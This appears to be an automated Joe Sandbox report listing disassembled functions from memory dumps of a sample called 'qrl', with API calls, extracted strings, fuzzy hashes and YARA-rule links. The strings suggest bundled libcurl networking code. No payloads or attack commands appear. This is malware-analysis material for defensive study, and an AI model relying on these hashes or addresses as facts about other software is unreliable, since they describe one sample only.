Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strrchr$free$strlenstrstr
String ID: %s%s$%s/%s$://
API String ID: 3975967694-3147304931
Opcode ID: 5595ccb521aea5dc4098a2ede1fdff72e320f112892924797e468ed241e5bfd5
Instruction ID: 1a0ed71933588901992fea263b35bb69243b92d1a596c7bacb86858066c764c8
Opcode Fuzzy Hash: 5595ccb521aea5dc4098a2ede1fdff72e320f112892924797e468ed241e5bfd5
Instruction Fuzzy Hash: F71184E3A042142BFF1076366C46FABB29C8FA0395F59043AFD09C2152FD56DD5951B2

Function 00D33560 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D33572

Strings

.gif, xrefs: 00D3358A
.jpg, xrefs: 00D335A2
.pdf, xrefs: 00D3365F
.svg, xrefs: 00D335FB
.htm, xrefs: 00D33629
.xml, xrefs: 00D33676
.txt, xrefs: 00D33612
.jpeg, xrefs: 00D335C5
.html, xrefs: 00D33648
.png, xrefs: 00D335E0

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen
String ID: .gif$.htm$.html$.jpeg$.jpg$.pdf$.png$.svg$.txt$.xml
API String ID: 39653677-1880009484
Opcode ID: 1d363f9d99e3e912df9b9df59eab218d253e8b4e2f0d46c0b66e8c88e4e808dd
Instruction ID: 58d84a993bbbdccd6e4d913b19243a7d7575b725df7ead215a5d47cd120eef54
Opcode Fuzzy Hash: 1d363f9d99e3e912df9b9df59eab218d253e8b4e2f0d46c0b66e8c88e4e808dd
Instruction Fuzzy Hash: 8021D653B1021137FA1069227D9BBBA305D8BA6759F090138F905B9383FA0ECB082772

Function 00D16588 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 129stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00D165A2

Part of subcall function 00D29E60: _errno.MSVCRT ref: 00D29E6D
Part of subcall function 00D29E60: _errno.MSVCRT ref: 00D29EE1

free.MSVCRT ref: 00D165FD
_strdup.MSVCRT(?), ref: 00D16610
free.MSVCRT ref: 00D16D81
_strdup.MSVCRT(?), ref: 00D16DA2

Strings

%I64d-, xrefs: 00D165E4
A specified range MUST include at least one dash (-). Appending one for you!, xrefs: 00D165C8
Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain., xrefs: 00D16D63
unsupported range point, xrefs: 00D18EB6

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: _errno_strdupfree$strchr
String ID: %I64d-$A specified range MUST include at least one dash (-). Appending one for you!$Invalid character is found in given range. A specified range MUST have only digits in 'start'-'stop'. The server's response to this request is uncertain.$unsupported range point
API String ID: 2455603386-1864133270
Opcode ID: e7da2181cf8a7e461f60ce7b5be4a1d650004e27e2a4e9f0450464cb430be8e8
Instruction ID: 9df57d3bdfd92a55da3d183fa71200ebf4420569c3e347862177b8f48b588c28
Opcode Fuzzy Hash: e7da2181cf8a7e461f60ce7b5be4a1d650004e27e2a4e9f0450464cb430be8e8
Instruction Fuzzy Hash: 3C41D4B1A04341ABEF10DF10FC42BEA77A1AF45348F080468FC859A182EF26D991D773

Function 00D1E24F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00D1A201
fclose.MSVCRT ref: 00D1A233
free.MSVCRT ref: 00D1A24C
free.MSVCRT ref: 00D1E274
free.MSVCRT ref: 00D1E305
free.MSVCRT ref: 00D1E32F
free.MSVCRT ref: 00D1E341
free.MSVCRT ref: 00D1E353

Strings

P"-, xrefs: 00D1E318

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$fclose
String ID: P"-
API String ID: 2681820439-2100482176
Opcode ID: fcac6ca92259736d04852ebc883db10cdfe34220d879edb24e0dfe7daa2cc65d
Instruction ID: 28faba93ff100e1aa7e086e946dc2e9c97e40ec98682da2bdfc38005fa756532
Opcode Fuzzy Hash: fcac6ca92259736d04852ebc883db10cdfe34220d879edb24e0dfe7daa2cc65d
Instruction Fuzzy Hash: AD3172F1604340ABEB209F15ED45B9BF7E5AF90304F184C2DE89A57251DB35E884DB63

Function 00D1676E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 96filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D16781
fopen.MSVCRT ref: 00D1679E
free.MSVCRT ref: 00D16949
_strdup.MSVCRT ref: 00D1695A
free.MSVCRT ref: 00D16C8A
fclose.MSVCRT ref: 00D16CB8

Strings

@, xrefs: 00D16771
Failed to read %s, xrefs: 00D16CD6
<stdin>, xrefs: 00D16C76, 00D16CD5

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefopenstrcmp
String ID: <stdin>$@$Failed to read %s
API String ID: 4127137438-3931557418
Opcode ID: f402181e40d5ba95b833ccbec0f91d0ea88edec8eaa375f7161ef2eaac894d2d
Instruction ID: c2f92241e0b2f0a849abadc0293025396189cc2d65e5a511dc1f29a8ef1bf97a
Opcode Fuzzy Hash: f402181e40d5ba95b833ccbec0f91d0ea88edec8eaa375f7161ef2eaac894d2d
Instruction Fuzzy Hash: 953181F1904201AFEB11DB14FC41B9AB7A1EB81355F280125F88657281EF75EDA4E7B3

Function 00D12510 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65filestringCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00D12536
fclose.MSVCRT ref: 00D12543
strerror.MSVCRT ref: 00D1254F
fopen.MSVCRT ref: 00D12578
_errno.MSVCRT ref: 00D125BA
strerror.MSVCRT ref: 00D125C2

Strings

Refusing to overwrite %s: %s, xrefs: 00D12559
Remote filename has no length!, xrefs: 00D12560
Failed to create the file %s: %s, xrefs: 00D125CC

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fopenstrerror$_errnofclose
String ID: Failed to create the file %s: %s$Refusing to overwrite %s: %s$Remote filename has no length!
API String ID: 729476436-2765071892
Opcode ID: ce3a9b8647871db19c482a2ed93963f4fa0df2e29eb64b7d533ffb4ab0bc049f
Instruction ID: 4a595d83f26095db951275cd9d94664e8c0b537b90a7085328ba0dc5ca9dfcd5
Opcode Fuzzy Hash: ce3a9b8647871db19c482a2ed93963f4fa0df2e29eb64b7d533ffb4ab0bc049f
Instruction Fuzzy Hash: 2511AFF1A04201BBFB009B24EC55BA777A5AB45314F180024E80497682EB7AF9E4DBF2

Function 00D1F2F0 Relevance: 15.1, APIs: 5, Strings: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D1F2FF
strcmp.MSVCRT ref: 00D1F315
strcmp.MSVCRT ref: 00D1F327
strcmp.MSVCRT ref: 00D1F339
strcmp.MSVCRT ref: 00D1F34B

Strings

default, xrefs: 00D1F2F9
1.2, xrefs: 00D1F333
1.0, xrefs: 00D1F30F
1.3, xrefs: 00D1F345
1.1, xrefs: 00D1F321

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strcmp
String ID: 1.0$1.1$1.2$1.3$default
API String ID: 1004003707-1496453511
Opcode ID: 1ffe7be0f88670d22d2428ae530d4f409e42c05e4e2f82796bfa4093123753c4
Instruction ID: 18577ac1aa2f49c3264c1dd7e4e60393b9b8048afbb0733baf403c5aafaf3585
Opcode Fuzzy Hash: 1ffe7be0f88670d22d2428ae530d4f409e42c05e4e2f82796bfa4093123753c4
Instruction Fuzzy Hash: D5016DA2B0962133FE1663757C127EE35C89F91311F0C0039F859E62D1EA99DBC266B6

Function 00D160DE Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 115stringfileCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D160F3
fopen.MSVCRT ref: 00D1610D
strtok.MSVCRT(?,00FA4411), ref: 00D16C2C
strtok.MSVCRT(00000000,00FA4411), ref: 00D16C65
free.MSVCRT ref: 00D171C5
fclose.MSVCRT ref: 00D171D5

Strings

Failed to open %s!, xrefs: 00D16D17
p, xrefs: 00D16C3E

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strtok$fclosefopenfreestrcmp
String ID: Failed to open %s!$p
API String ID: 2714433378-325265304
Opcode ID: 7b5588c6fe25a23d20ecdc735b9ef2b0b067498022d05646600c400bcae53fac
Instruction ID: fa7652ddd0b76b966eeb6e405e7c9c0659d872e977ae258e42e0049f65c1e02e
Opcode Fuzzy Hash: 7b5588c6fe25a23d20ecdc735b9ef2b0b067498022d05646600c400bcae53fac
Instruction Fuzzy Hash: B231B3B1A08301BBEB11DA24BC41BAA77E59FC1344F180529F88597291EE35EDD1A773

Function 00D30020 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

nghttp2_session_upgrade() failed: %s(%d), xrefs: 00D300C2
connection buffer size is too small to store data following HTTP Upgrade response header: buflen=%zu, datalen=%zu, xrefs: 00D301D6
http/2: failed to set user_data for stream %d!, xrefs: 00D3017E
Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=%zu, xrefs: 00D301E1
nghttp2_submit_settings() failed: %s(%d), xrefs: 00D30155
nghttp2_session_mem_recv() failed: %s(%d), xrefs: 00D3023D
nghttp2_session_send() failed: %s(%d), xrefs: 00D3032D
nghttp2_session_set_local_window_size() failed: %s(%d), xrefs: 00D301B5

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=%zu$connection buffer size is too small to store data following HTTP Upgrade response header: buflen=%zu, datalen=%zu$http/2: failed to set user_data for stream %d!$nghttp2_session_mem_recv() failed: %s(%d)$nghttp2_session_send() failed: %s(%d)$nghttp2_session_set_local_window_size() failed: %s(%d)$nghttp2_session_upgrade() failed: %s(%d)$nghttp2_submit_settings() failed: %s(%d)
API String ID: 0-1573709828
Opcode ID: 41c94898014c33718ca916ada9b869a14bf1873cfabbf70db7f0c00c9eec5310
Instruction ID: 95666cb1f77f2c2dbcf69ebf29177613680a13bec9ea16291a2c17a99c94f75d
Opcode Fuzzy Hash: 41c94898014c33718ca916ada9b869a14bf1873cfabbf70db7f0c00c9eec5310
Instruction Fuzzy Hash: F981A6B5A00645AFDB65AF10DC51BEB7BA9FF44704F084124FC488B252EB71A950CFB2

Function 00D53F40 Relevance: 13.6, APIs: 4, Strings: 5, Instructions: 104stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D54002
strlen.MSVCRT ref: 00D54038
strlen.MSVCRT ref: 00D5406B
strlen.MSVCRT ref: 00D5409D

Strings

identity, xrefs: 00D53F42, 00D53F47, 00D53F60, 00D53F7A, 00D53F94, 00D53FAE, 00D53FD8, 00D53FDD, 00D54014, 00D5404A, 00D5407D
deflate, xrefs: 00D53F65, 00D54019
gzip, xrefs: 00D53F7F, 00D5404F
ate, xrefs: 00D5402A
tity, xrefs: 00D53FF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen
String ID: ate$deflate$gzip$identity$tity
API String ID: 39653677-1128341356
Opcode ID: 0ea480224e8bcfc4d94384ae40cda1056ee8d78f430e6c168d1abe376e0b270c
Instruction ID: f2c71dc77d6aebcb609b890255508d001c9905271bfbc66ada66204b65d03d99
Opcode Fuzzy Hash: 0ea480224e8bcfc4d94384ae40cda1056ee8d78f430e6c168d1abe376e0b270c
Instruction Fuzzy Hash: 7A3106A6A403126BEB21AF246D17F1B7198AF6070EF194029EC0452341F7E9F628D2F7

Function 00D3F7C1 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 202filestringCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00D3F7D0
fgets.MSVCRT ref: 00D3F88B
strlen.MSVCRT ref: 00D3F8B1
fgets.MSVCRT ref: 00D3F970
time.MSVCRT(00000000), ref: 00D3F9BC
fclose.MSVCRT ref: 00D3FADD

Strings

Set-Cookie:, xrefs: 00D3F912

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fgets$fclosefopenstrlentime
String ID: Set-Cookie:
API String ID: 2140967147-2427311273
Opcode ID: f2e447ac3704d0d1574642a59883a7ef82fbd3ef8351f722ebdb82623aadcc3f
Instruction ID: 91cfccc41f0fd81f9a26945f7c87604a67175040f1a588d2b4b34cbbe93df55c
Opcode Fuzzy Hash: f2e447ac3704d0d1574642a59883a7ef82fbd3ef8351f722ebdb82623aadcc3f
Instruction Fuzzy Hash: 7851D4B2D04308AFEB209F24DD46B5B77A1AF80348F084439F98997272E775D858DA72

Function 00D3D940 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135stringCOMMON

Download Yara Rule

APIs

tolower.MSVCRT ref: 00D3D971
strlen.MSVCRT ref: 00D3D985
time.MSVCRT(?), ref: 00D3D9CB
strlen.MSVCRT ref: 00D3DA75

Strings

Hostname in DNS cache was stale, zapped, xrefs: 00D3D9F6
%s:%d, xrefs: 00D3D94E, 00D3DA42

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$timetolower
String ID: %s:%d$Hostname in DNS cache was stale, zapped
API String ID: 2483798501-2902227024
Opcode ID: ac7c0e44f2b6fa735b525fcc0c065389f6a154237dd01351312ffee0f6f548cc
Instruction ID: c7d4a69d7239c4f218cbd55d0e5263265c7d564af408239f9016dd057a028369
Opcode Fuzzy Hash: ac7c0e44f2b6fa735b525fcc0c065389f6a154237dd01351312ffee0f6f548cc
Instruction Fuzzy Hash: 414139B1A083016FEB10AA757E41A3B77DADF51344F1C0038FC5982202F674DD199BB2

Function 00F97A00 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00F97A8D

Strings

@, xrefs: 00F97AD8
Address %p has no image-section, xrefs: 00F97B3B
VirtualProtect failed with code 0x%x, xrefs: 00F97AFA
VirtualQuery failed for %d bytes at address %p, xrefs: 00F97B27

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$@$Address %p has no image-section
API String ID: 1804819252-1098444051
Opcode ID: 8470a87e76a9aa273bd316eb10cbd6d015ad61c9f4798f8ac2e1bebc1b591b2d
Instruction ID: fdcfd6a5837fa21ebb766b3c0c1a5e1dd8e43906b64827154309e1361a238172
Opcode Fuzzy Hash: 8470a87e76a9aa273bd316eb10cbd6d015ad61c9f4798f8ac2e1bebc1b591b2d
Instruction Fuzzy Hash: 144192B19043019FDB20EF69D88465AFBE0FF84354F458A1DE89C8B365E739E904DBA1

Function 00D19CA0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D19CAE
strlen.MSVCRT ref: 00D19CDE
fputs.MSVCRT ref: 00D19D17
fwrite.MSVCRT ref: 00D19D63
fputc.MSVCRT ref: 00D19D70

Strings

Warning: , xrefs: 00D19CAD

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$fputcfputsfwrite
String ID: Warning:
API String ID: 810330193-3119939844
Opcode ID: 7849886589fbe4ce221ccb0b19a7553dd73ce238e73c5991d0fd55790018465a
Instruction ID: 2228a3e0059e4888f7f1868906f8ae69a3820db89c7aa32842a40895d12b929f
Opcode Fuzzy Hash: 7849886589fbe4ce221ccb0b19a7553dd73ce238e73c5991d0fd55790018465a
Instruction Fuzzy Hash: 642187B28043017BDB10AF24FD91A6AF7A5EF54704F084929F98842212E636E954DBB3

Function 00D31D10 Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 348stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D31DB1
memcpy.MSVCRT(00000000,?,?), ref: 00D31DE8
memset.MSVCRT ref: 00D32055

Strings

----, xrefs: 00D31F72
----, xrefs: 00D31F6B
----, xrefs: 00D31F80
----, xrefs: 00D31F64
----, xrefs: 00D31F79

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
